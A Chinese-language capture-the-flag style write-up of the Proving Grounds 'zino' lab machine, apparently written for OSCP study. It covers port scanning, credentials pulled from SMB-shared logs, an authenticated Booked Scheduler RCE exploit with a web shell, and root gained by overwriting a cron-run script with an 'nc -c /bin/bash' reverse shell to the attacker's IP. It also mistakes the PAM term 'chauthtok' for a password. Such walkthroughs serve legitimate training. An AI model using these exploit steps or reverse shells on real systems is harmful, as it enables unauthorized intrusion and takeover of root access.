前言
在未来将会持续更新Proving Grounds Practice内的靶机Write Up，近期本人也通过了OSCP考试，所以将打靶的所有笔记共享出来，所有的靶机推荐来源于以下链接：https://docs.google.com/spreadsheets/d/1dwSMIAPIam0PuRBkCiDI88pU3yzrqqHkDtBngUHNCw8/edit#gid=1839402159
不过其中有一些机器已经不在Proving Grounds Practice中了，所以就没有了Write Up，本系列将有大约40台左右的机器，如果你在练习过程中遇到了困难，建议先自己进行挖掘，然后再查看Write Up，始终需要记得：Try Harder。
本文结构
一般来说本系列的Write Up将以以下的结构来进行
-
端口扫描 -
网页枚举或端口枚举 -
突破入口 -
特权提升
靶机名称 zino | 难度：Intermediate
端口枚举
[~/Desktop/pg/zino]
└─$ sudo nmap -p- -Pn 192.168.151.64
[sudo] password for aaron:
Starting Nmap 7.94 ( https://nmap.org ) at 2023-08-14 08:53 +0330
Stats: 0:01:03 elapsed; 0 hosts completed (1 up), 1 undergoing SYN Stealth Scan
SYN Stealth Scan Timing: About 12.16% done; ETC: 09:02 (0:07:42 remaining)
Nmap scan report for 192.168.151.64
Host is up (0.25s latency).
Not shown: 65529 filtered tcp ports (no-response)
PORT STATE SERVICE
21/tcp open ftp
22/tcp open ssh
139/tcp open netbios-ssn
445/tcp open microsoft-ds
3306/tcp open mysql
8003/tcp open mcreport
[~/Desktop/pg/zino]
└─$ sudo nmap -p21,22,139,45,3306,8003 -Pn -A 192.168.151.64
Starting Nmap 7.94 ( https://nmap.org ) at 2023-08-14 09:04 +0330
Nmap scan report for 192.168.151.64
Host is up (0.24s latency).
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.3
22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey:
| 2048 b2:66:75:50:1b:18:f5:e9:9f:db:2c:d4:e3:95:7a:44 (RSA)
| 256 91:2d:26:f1:ba:af:d1:8b:69:8f:81:4a:32:af:9c:77 (ECDSA)
|_ 256 ec:6f:df:8b:ce:19:13:8a:52:57:3e:72:a3:14:6f:40 (ED25519)
45/tcp filtered mpm
139/tcp open netbios-ssn Samba smbd 4.9.5-Debian (workgroup: WORKGROUP)
3306/tcp open mysql?
| fingerprint-strings:
| NULL:
|_ Host '192.168.45.194' is not allowed to connect to this MariaDB server
8003/tcp open http Apache httpd 2.4.38
|_http-title: Index of /
| http-ls: Volume /
| SIZE TIME FILENAME
| - 2019-02-05 21:02 booked/
|_
|_http-server-header: Apache/2.4.38 (Debian)
SMB
使用smbclient去查看是否有共享的文件夹
┌──(aaron㉿aacai)-[~/Desktop/pg/zino]
└─$ smbclient -L //192.168.151.64/
Password for [WORKGROUPaaron]:
Sharename Type Comment
--------- ---- -------
zino Disk Logs
print$ Disk Printer Drivers
IPC$ IPC IPC Service (Samba 4.9.5-Debian)
Reconnecting with SMB1 for workgroup listing.
Server Comment
--------- -------
Workgroup Master
--------- -------
WORKGROUP
发现了zino是一个共享文件夹, 所以能够通过smbclient去连接获取这个共享文件夹里面的文件.
┌──(aaron㉿aacai)-[~/Desktop/pg/zino]
└─$ smbclient \\192.168.151.64\zino
Password for [WORKGROUPaaron]:
Try "help" to get a list of possible commands.
smb: > ls
. D 0 Thu Jul 9 23:41:49 2020
.. D 0 Tue Apr 28 18:08:53 2020
.bash_history H 0 Tue Apr 28 20:05:28 2020
error.log N 265 Tue Apr 28 18:37:32 2020
.bash_logout H 220 Tue Apr 28 18:08:53 2020
local.txt N 33 Mon Aug 14 08:52:29 2023
.bashrc H 3526 Tue Apr 28 18:08:53 2020
.gnupg DH 0 Tue Apr 28 18:47:02 2020
.profile H 807 Tue Apr 28 18:08:53 2020
misc.log N 424 Tue Apr 28 18:38:15 2020
auth.log N 368 Tue Apr 28 18:37:54 2020
access.log N 5464 Tue Apr 28 18:37:09 2020
ftp D 0 Tue Apr 28 18:42:56 2020
7158264 blocks of size 1024. 4702264 blocks available
smb: > get auth.log
getting file auth.log of size 368 as auth.log (0.4 KiloBytes/sec) (average 0.4 KiloBytes/sec)
smb: > get misc.log
getting file misc.log of size 424 as misc.log (0.4 KiloBytes/sec) (average 0.4 KiloBytes/sec)
smb: > get local.txt
getting file local.txt of size 33 as local.txt (0.0 KiloBytes/sec) (average 0.3 KiloBytes/sec)
下载几个.log文件下来查看一下里面的内容, 在misc.log里面发现了管理员的账号和密码.
┌──(aaron㉿aacai)-[~/Desktop/pg/zino]
└─$ cat auth.log
Apr 28 08:16:54 zino groupadd[1044]: new group: name=peter, GID=1001
Apr 28 08:16:54 zino useradd[1048]: new user: name=peter, UID=1001, GID=1001, home=/home/peter, shell=/bin/bash
Apr 28 08:17:01 zino passwd[1056]: pam_unix(passwd:chauthtok): password changed for peter
Apr 28 08:17:01 zino CRON[1058]: pam_unix(cron:session): session opened for user root by (uid=0)
┌──(aaron㉿aacai)-[~/Desktop/pg/zino]
└─$ cat misc.log
Apr 28 08:39:01 zino systemd[1]: Starting Clean php session files...
Apr 28 08:39:01 zino CRON[2791]: (CRON) info (No MTA installed, discarding output)
Apr 28 08:39:01 zino systemd[1]: phpsessionclean.service: Succeeded.
Apr 28 08:39:01 zino systemd[1]: Started Clean php session files.
Apr 28 08:39:01 zino systemd[1]: Set application username "admin"
Apr 28 08:39:01 zino systemd[1]: Set application password "adminadmin"
并且在 auth.log 发现了用户peter的密码为chauthtok
尝试使用peter的密码去登录ssh, 但是发现这个密码并不起作用.
┌──(aaron㉿aacai)-[~/Desktop/pg/zino]
└─$ ssh [email protected]
The authenticity of host '192.168.151.64 (192.168.151.64)' can't be established.
ED25519 key fingerprint is SHA256:WSNy24QYHepwi1q+CCZFt8/GTaVsrE60rmRaacEdSKE.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '192.168.151.64' (ED25519) to the list of known hosts.
[email protected]'s password:
Permission denied, please try again.
[email protected]'s password:
Permission denied, please try again.
[email protected]'s password:
现在回到8003端口, 这里有一个登录的页面, 使用admin:adminadmin去登录
现在通过searchsploit查看有关于booked schedule的漏洞
┌──(aaron㉿aacai)-[~/Desktop/pg/zino]
└─$ searchsploit booked
Exploit Title | Path
Booked Scheduler 2.7.5 - Remote Command Execution (Metasploit) | php/webapps/46486.rb
Booked Scheduler 2.7.5 - Remote Command Execution (RCE) (Authenticated) | php/webapps/50594.py
Booked Scheduler 2.7.7 - Authenticated Directory Traversal | php/webapps/48428.txt
┌──(aaron㉿aacai)-[~/Desktop/pg/zino]
└─$ searchsploit -m 50594
Exploit: Booked Scheduler 2.7.5 - Remote Command Execution (RCE) (Authenticated)
URL: https://www.exploit-db.com/exploits/50594
Path: /usr/share/exploitdb/exploits/php/webapps/50594.py
Codes: CVE-2019-9581
Verified: False
File Type: Python script, ASCII text executable
Copied to: /home/aaron/Desktop/pg/zino/50594.py
尝试使用这个RCE, 因为我们已经有密码并且认证过了, 所以直接在脚本后面加上用户名和密码即可
现在可以看到RCE传回来的系统命令回显,接下来上传php-reverse-shell.php到服务器上来获取可交互的反弹shell.
[~/Desktop/pg/zino]
└─$ python3 50594.py "http://192.168.151.64:8003" admin adminadmin
[+] Logged in successfully.
[+] Uploaded shell successfully
[+] http://192.168.151.64:8003/booked/Web/custom-favicon.php?cmd=
$ wget 192.168.45.194:21/php-reverse-shell.php
最后得到shell
提权
信息收集
═══════════════════════════════╣ Basic information ╠═══════════════════════════════
OS: Linux version 4.19.0-8-amd64 ([email protected]) (gcc version 8.3.0 (Debian 8.3.0-6)) #1 SMP Debian 4.19.98-1 (2020-01-26)
User & Groups: uid=33(www-data) gid=33(www-data) groups=33(www-data)
Hostname: zino
Writable folder: /dev/shm
[+] /usr/bin/ping is available for network discovery (linpeas can discover hosts, learn more with -h)
[+] /usr/bin/bash is available for network discovery, port scanning and port forwarding (linpeas can discover hosts, scan ports, and forward ports. Learn more with -h)
[+] /usr/bin/nc is available for network discovery & port scanning (linpeas can discover hosts and scan ports, learn more with -h)
══════════════════════════════╣ System Information ╠══════════════════════════════
╔══════════╣ Operative system
╚ https://book.hacktricks.xyz/linux-hardening/privilege-escalation#kernel-exploits
Linux version 4.19.0-8-amd64 ([email protected]) (gcc version 8.3.0 (Debian 8.3.0-6)) #1 SMP Debian 4.19.98-1 (2020-01-26)
Distributor ID: Debian
Description: Debian GNU/Linux 10 (buster)
Release: 10
Codename: buster
╔══════════╣ Cron jobs
SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin
17 * * * * root cd / && run-parts --report /etc/cron.hourly
25 6 * * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6 * * 7 root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 6 1 * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )
*/3 * * * * root python /var/www/html/booked/cleanup.py
╔══════════╣ Active Ports
╚ https://book.hacktricks.xyz/linux-hardening/privilege-escalation#open-ports
tcp 0 0 0.0.0.0:445 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:3306 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:139 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN -
tcp6 0 0 :::445 :::* LISTEN -
tcp6 0 0 :::8003 :::* LISTEN -
tcp6 0 0 :::139 :::* LISTEN -
tcp6 0 0 :::21 :::* LISTEN -
tcp6 0 0 :::22 :::* LISTEN -
╔══════════╣ Useful software
/usr/bin/base64
/usr/bin/nc
/usr/bin/nc.traditional
/usr/bin/netcat
/usr/bin/perl
/usr/bin/php
/usr/bin/ping
/usr/bin/python
/usr/bin/python2
/usr/bin/python2.7
/usr/bin/python3
/usr/bin/python3.7
/usr/bin/socat
/usr/bin/wget
找到一个计划任务, root账号会每三分钟运行一次cleanup.py, 所以替换这个python脚本是提权的思路.
www-data@zino:/var/www/html/booked$ cat cleanup.py
cat cleanup.py
#!/usr/bin/env python
import os
import sys
try:
os.system('rm -r /var/www/html/booked/uploads/reservation/* ')
except:
print 'ERROR...'
sys.exit(0)
www-data@zino:/var/www/html/booked$
替换脚本内容
www-data@zino:/var/www/html/booked$ mv cleanup.py cleanup.py.bk2
www-data@zino:/var/www/html/booked$ wget 192.168.45.194:8003/cleanup.py
cleanup.py 100%[===================>] 162 --.-KB/s in 0s
2023-08-14 02:38:45 (46.3 MB/s) - ‘cleanup.py’ saved [162/162]
www-data@zino:/var/www/html/booked$ cat cleanup.py
#!/usr/bin/env python
import os
import sys
try:
os.system('nc -c /bin/bash 192.168.45.194 21')
except:
print 'ERROR...'
sys.exit(0)
www-data@zino:/var/www/html/booked$
然后等待获取root的shell
END
OSCP（Offensive Security Certified Professional），中文称国际注册渗透测试专家认证，是由Offensive Security推出的200等级的证书，主要面向领域：渗透测试。
OSCP 证书是一种技术性证书，涵盖渗透测试和攻击技术方面。持有此证书的人员已通过对目标网络进行渗透测试并获得管理员访问权限的实际考试。该证书是由 Offense Security 出品，考试内容涉及网络渗透测试、漏洞挖掘、漏洞利用等方面。OSCP 考试难度较高，需要实际的技能和经验，持有此证书可证明持有人具有深入了解渗透测试及相关攻击技术的实际能力。
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Email Address: [email protected](个人)
原文始发于微信公众号（Aaron与安全的那些事）：Proving Grounds Practice-zino
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